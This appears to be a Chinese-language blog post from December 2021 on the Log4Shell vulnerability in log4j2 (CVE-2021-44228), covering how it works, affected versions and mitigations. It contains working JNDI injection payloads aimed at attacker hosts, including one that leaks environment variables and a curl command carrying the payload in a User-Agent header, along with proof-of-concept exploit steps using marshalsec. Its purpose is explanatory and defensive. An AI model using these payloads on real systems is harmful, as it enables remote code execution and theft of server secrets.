影響整個Java世界:log4j2日誌包中發現RCE 0day漏洞 - lunasec

banq發表於2021-12-10

幾個小時前,在流行的 Java 日誌庫log4j中發現了一個 0day漏洞(綽號 Log4Shell 或 LogJam或 log4j2rce,詳見:CVE-2021-44228),該漏洞透過記錄某個字串導致遠端程式碼執行 (RCE)。
鑑於log4j2庫非常流行,漏洞會被利用完全控制你的伺服器,實現挖礦等無法想象的後果。這個 log4j 漏洞非常嚴重, 該漏洞在 CVSS 評級系統中的得分為 10 分,滿分是10分,表明問題的嚴重性。數以百萬計的應用程式使用 Log4j 進行日誌記錄,攻擊者所需要做的就是讓應用程式記錄一個特殊的字串,當啟用訊息查詢替換時,攻擊者可以執行從LDAP伺服器載入的任意程式碼。
到目前為止,iCloud、Steam 和 Minecraft 都已確認存在漏洞。
這篇文章提供了資源來幫助您瞭解漏洞以及如何自行緩解。
  

漏洞原理
程式設計師以為log4j2這樣日誌框架只會將訊息視為資料並處理基本格式。但是,Log4j 2.0 新增了lookups,包括 JNDI 查詢。這些 JNDI 查詢不受限制,從而導致漏洞。
Java命名和目錄介面(JNDI)是一個目錄服務,它允許您使用LDAP或DNS到介面的Java API來查詢資料和資源。不幸的是,可以返回的資料型別之一是指向Java類的URI——如果您載入了一個不受信任的 Java 類,那麼您就會在不知不覺中執行其他人的程式碼。
例如:在系統的登入Login頁面中,需要輸入使用者名稱和密碼,這時只要將$ {jndi: ldap: //attacker.com/a}作為使用者名稱輸入,Log4j 引擎將 ${...} 解釋為模板,並嘗試檢索指定ldap後的URL處的 Java 檔案。然後執行此 Java 檔案,從而允許攻擊者完全控制伺服器。Log4J 格式是可巢狀的,這意味著像 ${jndi:ldap://${env:user}.xyz.collab.com/a} 這樣會洩漏伺服器端環境變數。
更詳細:假設你有下面一段程式碼,程式碼中使用了log4j作為日誌輸出:

@getMapping("/")
public String index(@RequestHeader("User-Agent") String browserName) {
  logger.info("Received a request for API version " + browserName);
  return "Hello, world!";
}

攻擊者只要呼叫:

curl 127.0.0.1:8080 -H 'User-Agent: ${jndi:ldap://攻擊者IP:1389/a}'

你的程式將會呼叫攻擊者IP的遠端URL,這個URL會提供一個“惡意”類,其中包含一些他們希望在你應用中執行的程式碼。

深入原理見這篇文章

CVE-2021-44228(Apache Log4j 遠端程式碼執行)攻擊演示原始碼

git clone https://github.com/tangxiaofeng7/apache-log4j-poc.git
cd apache-log4j-poc/src/main/java
javac Exploit.java 
python -m SimpleHTTPServer 8888 

攻擊執行:

cd tools
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8888/Exploit"

你會看到你本地的計算器被無故呼叫了。
其他:


 

測試自己是否受到影響?
可以透過https://canarytokens.org,選擇下拉選單最後一行:Log4Shell;
輸入你的郵箱,獲得:
${jndi:ldap://XXX.canarytokens.com/a}
然後,按照前面所述,將這ldap格式字串作為你的系統的引數傳入,模擬攻擊。
如果系統發生了XXX.canarytokens.com任何 DNS查詢,將有一封報警信傳送到你的郵件,說明你的系統存在有此漏洞威脅。

 

誰受到影響?
許多服務都容易受到這種攻擊。Steam、Apple iCloud等雲服務和 Minecraft 等應用程式已被發現存在漏洞。
任何使用 Apache Struts 的人都可能受到攻擊。我們曾在2017 年 Equifax 資料洩露等違規事件中看到類似的漏洞被利用。

這篇博文中討論了針對 Apache Tomcat 伺服器上存在的org.apache.naming.factory.BeanFactory類的攻擊 。
遠遠不止上述,幾乎所有java世界都受到影響。
 

受此影響Apache的log4j的版本

  1. 2.0 <= Apache log4j <= 2.14.1
  2. JVM 版本 - 如果低於:
    • Java 6 – 6u212
    • Java 7 – 7u202
    • Java 8 – 8u192
    • Java 11 - 11.0.2

    如果上述兩個條件都為真,幾乎肯定會受到影響;注意還有一種觀點(見文後)認為這個漏洞與Java版本無關。
     

    解決方法:

    • 設定環境變數:log4j2.formatMsgNoLookups設定為true

    方法:

    >export JAVA_TOOL_OPTIONS=-Dlog4j2.formatMsgNoLookups=true
    >cat Verify.java
      public class Verify {
        public static void main(String args) {
          System.out.println(System.getProperty("log4j2.formatMsgNoLookups"));
       }
    }
    >java Verify.java
    Picked up JAVA_TOOL_OPTIONS: -Dlog4j2.formatMsgNoLookups=true
    

    上述程式碼臨時編寫了一個Verify.java用來確證環境變數修改已經生效。
    為什麼不用JAVA_OPTS?因為 JAVA_OPTS 不是由 JVM 自動獲取的。它由 shell/bat 指令碼傳遞,然後您必須知道在哪裡編輯這些指令碼以確保傳遞 JAVA_OPTS。
    • 或更新到log4j-2.15.0或更高版本啟動您的伺服器:

        <dependency>
                <groupId>org.apache.logging.log4j</groupId>
                <artifactId>log4j-core</artifactId>
                <version>2.15.0 </version>
            </dependency>
    
            <!-- https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-api -->
            <dependency>
                <groupId>org.apache.logging.log4j</groupId>
                <artifactId>log4j-api</artifactId>
                <version>2.15.0</version>
            </dependency>
    
            <dependency>
                <groupId>org.apache.logging.log4j</groupId>
                <artifactId>log4j-1.2-api</artifactId>
                <version>2.15.0</version>
            </dependency>
    


    使用Maven的排除exclusions語法防止log4j 1.x載入:

     <dependency>
                <groupId>org.apache.struts</groupId>
                <artifactId>struts-taglib</artifactId>
                <version>1.3.8</version>
                <exclusions>
                    <exclusion>
                        <groupId>log4j</groupId>
                        <artifactId>log4j</artifactId>
                    </exclusion>
                </exclusions>
            </dependency>
    


    其他建議:
    • 注意上述辦法僅適用於 2.10到2.14.1之間版本;但是更舊版本還是仍然容易受到攻擊
    • log4j 支援任何配置的環境變數。在這種情況下,您將設定 LOG4J_FORMAT_MSG_NO_LOOKUPS=true關閉JNDI查詢
    • 關於檢查叢集的所有 pod kubectl get pods -o name | xargs -I{} kubectl exec -it {} -- env | grep JAVA_TOOL_OPTIONS
    • 以色列網路安全公司 Cyber​​eason 還發布了一個名為“ Logout4Shell ”的修復程式。


     
    此漏洞影響面非常廣泛,從《我的世界》到整個Java世界都需要升級,下面連結是演示這種漏洞的攻擊演示,從蘋果官網到騰訊:

    https://github.com/YfryTchsGD/Log4jAttackSurface
     

    深入分析

    log4j2漏洞原始碼

    PSA:Log4Shell 和 JNDI 注入的當前狀態
    在預設安裝中,JNDI 支援兩種“有趣”的協議:RMI 和 LDAP。

    • 從 Java 8u121 開始,RMI(但不是 LDAP)預設不再允許遠端程式碼庫
    • LDAP 名稱仍然允許直接遠端執行程式碼。這種“疏忽”後來才在 Java 8u191 中作為 CVE-2018-3149 解決

    在 Java 8u191 之前,存在從受控 JNDI 查詢到任意程式碼的遠端類載入的直接路徑。該 Java 版本大約有 3 年曆史。
    結論:不要依賴當前的 Java 版本來拯救你:更新 Log4J(或刪除 JNDI 查詢)。

    影響整個Java世界:log4j2日誌包中發現RCE 0day漏洞 - lunasec

    相關文章